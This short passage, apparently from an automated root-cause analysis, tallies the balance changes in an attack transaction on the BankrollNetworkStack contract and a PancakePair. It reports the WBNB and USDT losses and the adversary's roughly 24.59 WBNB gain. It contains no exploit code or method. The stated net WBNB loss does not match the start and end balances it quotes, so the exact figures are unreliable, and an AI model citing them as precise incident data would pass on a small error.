From the perspective of BankrollNetworkStack, artifacts/root_cause/data_collector/iter_1/tx/56/0x7226b3...ae22c/erc20_balance_diff_manual.json shows a net loss of 29.786528993752124174 WBNB (its WBNB balance falls from 29.786528993752134174 WBNB to 0.00000000000000001 WBNB) in the seed transaction. PancakePair 0x16b9...0dae loses 56.099991838611619901 USDT and gains 5.287282124643214527 WBNB, indicating that LPs also experience a value shift. The adversary EOA ends the transaction with an additional 24.586528993752124174 WBNB and 0.000870232 BNB less, so its net portfolio value in WBNB-equivalent increases by approximately 24.585658761752124174 units. Long-term BankrollNetworkStack participants collectively lose WBNB reserves backing their token positions and future dividends, while Pancake LPs suffer a one-off loss due to price movement; no protocol-owned or privileged addresses receive offsetting value.